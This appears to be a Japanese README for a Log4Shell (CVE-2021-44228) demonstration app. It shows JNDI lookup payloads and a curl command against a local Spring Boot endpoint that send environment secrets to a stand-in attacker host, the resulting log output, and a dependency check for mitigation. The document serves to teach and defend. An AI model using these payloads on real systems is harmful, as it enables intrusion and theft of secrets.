
Log4Shell(CVE-2021-44228)は Log4j におけるゼロデイ脆弱性です。
発見: 2021年11月24日
パッチ適用: 2021年12月6日
以下のYouTubeビデオをクリック
このサンプルアプリケーションはSpring Bootアプリケーションで、ロギングフレームワークとしてlog4jを使用しており、localhostのポート8080で以下の環境変数を使用して実行されています。
ビデオ解説をチェック:
環境変数
key=jason.bourne;secret=Treadstone
POST http://localhost:8080//v1/public/log-test
パラメータ:
value=${jndi:ldap://some-random-hacking-site.com}

以下の文字列を使用すると、環境変数を取得できます。
value=${jndi:ldap://some-random-hacking-site.com}/${env:key}/${env:secret}
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' -i http://localhost:8080/v1/public/log-test --data 'value=${jndi:ldap://some-random-hacking-site.com}/${env:key}/${env:secret}'
2021-12-25 10:47:58,112 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://some-random-hacking-site.com]. javax.naming.CommunicationException: some-random-hacking-site:389 [Root exception is java.net.ConnectException: Connection timed out: connect] at com.sun.jndi.ldap.Connection.<init>(Connection.java:243) at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
mvn dependency:tree
依存するjarが脆弱なlog4jバージョンを指していないことを確認してください。
Techflix YouTube セキュリティプレイリスト
https://www.youtube.com/watch?v=bb6pgWrm7tA&list=PLLqjNYIgOqeQl6NaeIeUhvNcWdpOVNkRi&index=1